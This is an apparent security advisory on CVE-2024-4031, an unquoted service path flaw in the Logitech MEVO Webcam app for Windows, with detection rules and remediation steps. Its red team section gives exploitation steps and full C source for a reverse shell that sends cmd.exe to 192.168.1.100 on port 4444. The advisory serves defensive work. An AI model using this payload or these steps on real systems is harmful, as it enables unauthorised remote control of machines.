CVE-2024-4031

Executive Summary

CVE-2024-4031 is a local privilege escalation vulnerability in the Logitech MEVO WEBCAM APP for Windows, stemming from an unquoted search path or element (CWE-428). This flaw allows an authenticated local attacker to execute arbitrary code with the privileges of the affected application by placing a malicious executable in a path that the application searches without proper quoting. The CVSS v3.1 base score is 4.4 (Medium), with a low attack complexity and no user interaction required beyond local access. No public proof-of-concept (PoC) or exploit code has been identified, and the vendor’s patch status remains unknown. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native Windows application issue.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
• Base Score: 4.4 (Medium)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs valid credentials but not administrative rights.
• User Interaction: None (UI:N) – No user action is needed beyond the attacker’s own actions.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data disclosure.
• Integrity Impact: Low (I:L) – Limited modification of files or system state.
• Availability Impact: Low (A:L) – Limited denial of service.

Threat Level: Medium. Exploitation requires local access and low privileges, but the impact is limited to integrity and availability. The lack of public exploits and low EPSS score reduces immediate risk.

Deep Dive & Mechanics

The vulnerability is an unquoted search path issue in the Logitech MEVO WEBCAM APP. When the application launches a service or executable, it searches for the binary in a path that contains spaces but is not enclosed in double quotes. For example, if the service path is C:\Program Files\Logitech\MEVO Webcam\service.exe, Windows will interpret the path as multiple arguments if not quoted. An attacker with local access can place a malicious executable named Program.exe or Logitech.exe in a higher-priority directory (e.g., C:\ or C:\Program Files\), causing the system to execute the attacker’s code instead of the intended binary.

This is a classic CWE-428 vulnerability, often found in Windows services or scheduled tasks. The attack vector is local, requiring the attacker to have write access to a directory in the search path. The impact is limited to the privileges of the affected application, which may be elevated if the service runs as SYSTEM.

Vulnerable vs. Patched Code

No specific code snippets are available for this CVE. The vulnerability is in the installation or service configuration, not in the application’s source code. A patched version would ensure that all paths in the Windows registry, service definitions, or shortcut files are properly quoted. For example:

Vulnerable (unquoted path):

ImagePath = C:\Program Files\Logitech\MEVO Webcam\service.exe

Patched (quoted path):

ImagePath = "C:\Program Files\Logitech\MEVO Webcam\service.exe"

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local access to a Windows system with Logitech MEVO WEBCAM APP installed.
• Write access to a directory in the unquoted search path (e.g., C:\ or C:\Program Files\).

Steps:

1. Identify the vulnerable service or executable path using tools like wmic or sc:

   wmic service get name,pathname | findstr /i "MEVO"
   

2. If the path is unquoted, create a malicious executable named to match the first part of the path (e.g., Program.exe for C:\Program Files\...).
3. Place the malicious executable in the appropriate directory (e.g., C:\Program.exe).
4. Trigger the service or application restart (e.g., reboot or manual start).
5. The malicious code executes with the application’s privileges.

Example payload (simple reverse shell):

// compile with: x86_64-w64-mingw32-gcc -o Program.exe payload.c
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32")

int main() {
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in server;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    WSAStartup(MAKEWORD(2,2), &wsa);
    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    server.sin_family = AF_INET;
    server.sin_port = htons(4444);
    server.sin_addr.s_addr = inet_addr("192.168.1.100");
    connect(sock, (struct sockaddr *)&server, sizeof(server));

    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
    return 0;
}

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for new executables in common directories like C:\, C:\Program Files\, or C:\Program Files (x86)\.
2. Audit service and scheduled task paths for unquoted strings:

   Get-CimInstance -ClassName Win32_Service | Where-Object { $_.PathName -notmatch '^".*"' -and $_.PathName -match ' ' }
   

3. Enable Windows Defender Attack Surface Reduction (ASR) rules to block untrusted executables from writable paths.
4. Use Sysmon to log process creation events (Event ID 1) and look for unusual parent-child relationships.

Mitigation:

• Apply vendor patch when available.
• Manually quote all service paths in the registry:

  Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\MEVOService" -Name ImagePath -Value '"C:\Program Files\Logitech\MEVO Webcam\service.exe"'
  

• Restrict write permissions to system directories.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): Unknown (no public samples).
• File Paths:
  • C:\Program.exe
  • C:\Program Files\Logitech.exe
  • C:\Program Files\Logitech\MEVO.exe
• Registry Keys:
  • HKLM\SYSTEM\CurrentControlSet\Services\MEVOService (unquoted ImagePath)
• Process Anomalies:
  • Program.exe or Logitech.exe spawning from unexpected parent processes.
• Network Connections: Outbound connections to attacker-controlled IPs on common ports (e.g., 4444).

Detection Engineering

YARA Rule

rule CVE_2024_4031_UnquotedPath {
    meta:
        description = "Detects unquoted service paths related to Logitech MEVO Webcam"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4031"
    strings:
        $path = "MEVO Webcam" nocase
        $unquoted = /[A-Z]:\\[^"]*MEVO Webcam[^"]*\.exe/ nocase
    condition:
        $path and #unquoted > 0
}

Sigma Rule

title: Unquoted Service Path - Logitech MEVO Webcam
id: 7a8b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects unquoted service paths for Logitech MEVO Webcam application
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4031
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 1
        ImagePath|contains: 'MEVO Webcam'
        ImagePath|re: '^[^"]'
    condition: selection
falsepositives:
    - Unknown
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2024-4031 Potential Reverse Shell from Logitech MEVO Exploit"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; reference:cve,2024-4031; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Vendor Patch: Await an official update from Logitech that quotes all service and executable paths.
2. Manual Workaround: Use PowerShell or Registry Editor to quote the ImagePath of any Logitech MEVO services:

   Get-CimInstance -ClassName Win32_Service | Where-Object { $_.Name -like "*MEVO*" } | ForEach-Object {
       $newPath = '"' + $_.PathName + '"'
       Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$($_.Name)" -Name ImagePath -Value $newPath
   }
   

3. Access Control: Restrict write permissions to C:\, C:\Program Files\, and C:\Program Files (x86)\ to only Administrators.
4. Monitoring: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
5. Application Control: Use AppLocker or Windows Defender Application Control to block untrusted executables from running in system directories.

Valters IT